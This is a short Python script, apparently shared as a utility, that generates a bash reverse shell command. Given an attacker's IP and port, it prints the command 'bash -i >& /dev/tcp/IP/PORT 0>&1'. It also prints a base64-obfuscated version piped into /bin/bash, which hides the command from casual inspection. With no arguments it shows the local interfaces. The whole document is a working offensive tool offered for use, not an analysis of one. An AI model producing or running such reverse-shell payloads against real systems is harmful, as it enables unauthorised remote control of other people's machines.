Generate a quick bash reverse shell in python
genshell.py
#!/usr/bin/env python3
import base64
import sys
import os
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) != 3:
print("[!] INTERFACES:")
print(os.popen("ip a").read().strip())
print("")
print("[!] Usage: genshell <IP> <PORT>")
exit(1)
ip = sys.argv[1]
port = sys.argv[2]
rev_shell = f'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
print(f'[*] command: {rev_shell}')
exec_cmd = f'echo {base64.b64encode(rev_shell.encode()).decode()} | base64 -d | /bin/bash'
print(exec_cmd)